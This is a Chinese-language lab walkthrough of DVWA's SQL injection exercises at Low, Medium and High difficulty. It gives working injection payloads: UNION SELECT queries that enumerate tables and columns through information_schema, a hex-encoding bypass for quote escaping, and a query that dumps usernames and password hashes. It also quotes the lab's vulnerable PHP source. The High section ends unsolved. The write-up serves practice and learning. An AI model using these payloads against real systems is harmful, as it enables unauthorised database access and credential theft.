难度等级:Low
-
简单输入
1
查询看出正常搜索的样子 -
输入基础的
1 or 1=1 #
看到注入未生效,与输入1返回的结果相同 -
输入基础的
1' or 1=1 #
看到所有用户的用户信息被暴露出来,存在注入,闭合方式为单引号闭合 -
确定了存在注入,我们可以开始查询我们的数据库名叫什么,输入注入语句
1' union select 1,database() #
,第一段返回的内容是1'
返回的ID为1的用户信息,第二段内容是我们union select
到的内容,即返回值的第一行是一个数字1,第二行是数据库名即数据库名是"dvwa"
-
通过已知的数据库名,我们用数据库信息视图可以检索到数据库中有几张表,输入如下注入语句
1' union select 1,table_name from information_schema.tables where table_schema='dvwa'#
,第一段返回的内容是1'
返回的ID为1的用户信息,后面的段是查询到的"dvwa"数据库中的表信息即"dvwa"数据库中有两张表,第一张表的表名叫做"guestbook",第二张表的表名叫做"users"
-
已知表名后我们想要查询到"users"表中的内容,因此继续注入搜索"users"表中有哪些列,注入语句
1' union select 1,column_name from information_schema.columns where table_name='users'#
,得到"users"表中的列即"users"表中的列名有:user_id、first_name、last_name、user、password、avatar。
-
在列名中我们很开心地看到了想要爆破的内容:user和password,也刚好是能显示的两行内容,所以使用注入语句将其爆破出来
1' union select user,password from users#
查询到的内容即"First name"为user列的内容,"Surname"为password列的内容,爆破成功。
如上所述,DVWA靶机中Low难度的SQL注入思路为:(Limonene0x原创)确定注入点存在-->查询数据库名-->查询数据库中有哪几张表-->查询想要查询的表中有哪几列-->查询想要的列的数据-->爆破成功。
该段思路为Limonene0x原创,注入语句参考[https://blog.csdn.net/qq_39926171/article/details/89388822]
难度等级:Medium
建议参看Low难度的解题思路与部分操作步骤阅读,可方便理解。
-
输入
1
查询正常情况下的返回为下图所示 -
输入其他内容(如字母)发现,在该难度下,输入会报错,页面返回提示
Unknown column 'test' in 'where clause'
,因此判断该处只能查询数字(Low难度下,该处输入其他内容不会返回值但也不报错),尝试直接使用1 or 1=1 #
测试,发现存在注入点 -
沿用Low最后的思路尝试查询数据库名
1 union select 1,database()#
发现成功操作。数据库名出现。
-
沿用Low难度思路,使用
1 union select 1,table_name from information_schema.tables where table_schema='dvwa'#
注入,发现报错You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'dvwa\'#' at line 1
,显然,单引号不能使用,避免使用单引号,直接在dvwa的地方调用database()函数来获取数据库名,注入语句变为1 union select 1,table_name from information_schema.tables where table_schema=database()#
,这样就成功爆破出了数据库中有哪些表。数据库中有"guestbook"和"users"两个表
-
继续查询users表中有哪些列,注入语句本应为
1 union select 1,column_name from information_schema.columns where table_name='users'#
,但这里的单引号已经无法避免使用,所以只好引入新知识可以用16进制进行绕过
使用在线工具即可将文本内容转换为16进制表示,users即7573657273,记得16进制的表示要在数值前加0x,在线转换器如https://www.sojson.com/hexadecimal.html 等。
转换后注入语句变为
1 union select 1,column_name from information_schema.columns where table_name=0x7573657273#
注入成功,返回了users表中存在的列名有:user_id、first_name、last_name、user、password、avatar。
-
继续注入获取user和password列的内容,由于没有要是用单引号的文本,直接可以查询,注入语句是
1 union select user,password from users#
查询到的内容即"First name"为user列的内容,"Surname"为password列的内容,爆破成功。
该段注入语句参考[https://blog.csdn.net/qq_39926171/article/details/89388822]
难度等级:High
建议参看Low、Medium难度的解题思路与部分操作步骤阅读,可方便理解。
-
输入
1
查询正常情况下的返回为下图所示 -
尝试简单的注入语句,确认注入点是否存在。
使用
1 or 1=1 #
、1' or 1=1 #
发现均没有返回,而且不报错。 -
鉴于单纯尝试无法发现注入点,因此在学习时要懂得合理利用提示(手动狗头),在以后才能直接想到这种解法,我们点击查看源码(View Source)
<?php
if (isset($_GET['Submit'])) {
// Retrieve data
$id = $_GET['id'];
$id = stripslashes($id);
$id = mysql_real_escape_string($id);
if (is_numeric($id)){
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
$num = mysql_numrows($result);
$i=0;
while ($i < $num) {
$first = mysql_result($result,$i,"first_name");
$last = mysql_result($result,$i,"last_name");
echo '<pre>';
echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
echo '</pre>';
$i++;
}
}
}
?>
发现在源码中,使用了stripslashes()函数和mysql_real_escape_string()函数处理提交的内容
stripslashes($id)函数用来将提交的id中的反斜杠(\)去掉
参考:https://www.w3school.com.cn/php/func_string_stripslashes.asp
mysql_real_escape_string($id)函数用来将提交的id中的特殊字符转义
参考:https://www.w3school.com.cn/php/func_mysql_real_escape_string.asp
但是~发现在源码中使用了is_numeric($id),当我们输入的内容不是数字的时候,不会进行查询,因此我们的输入必须是数字
暂时失败了,不会哈哈哈~~~